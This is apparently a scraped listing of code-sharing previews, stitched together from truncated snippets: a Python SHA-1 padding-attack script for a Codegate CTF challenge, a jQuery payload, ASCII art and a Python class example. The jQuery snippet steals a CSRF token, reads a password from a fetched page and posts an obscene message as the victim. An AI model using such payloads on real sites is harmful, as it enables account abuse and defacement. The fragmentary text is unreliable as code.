This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import urllib | |
import hashlib | |
import requests | |
from shaext import shaext | |
""" | |
http://www.vnsecurity.net/2010/03/codegate_challenge15_sha1_padding_attack/ | |
- shaext.py | |
- code from sha-padding.py |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$(function(){ | |
var action = $('#new_post').attr('action'); | |
var csrf = $('#new_post input[name=_csrf]').val(); | |
var url = $('table a').attr('href'); | |
$.get(url,function(response){ | |
var html = $(response); | |
var pwd = html.find('td')[0].innerText; | |
$.post(action, {_csrf: csrf, title: "NOT SO AWESOME", body:"FUCK YOU"}); | |
});}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
/| |\ | |
`__\\ //__' | |
|| || | |
\__`\ |'__/ | |
`_\\ //_' | |
_.,:---;,._ | |
\_: :_/ | |
|@. .@| |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Base(object): | |
things = [] | |
def update(self): | |
print "I do nothing" | |
class A(Base): | |
def update(self): | |
self.things.append('This is A') |
NewerOlder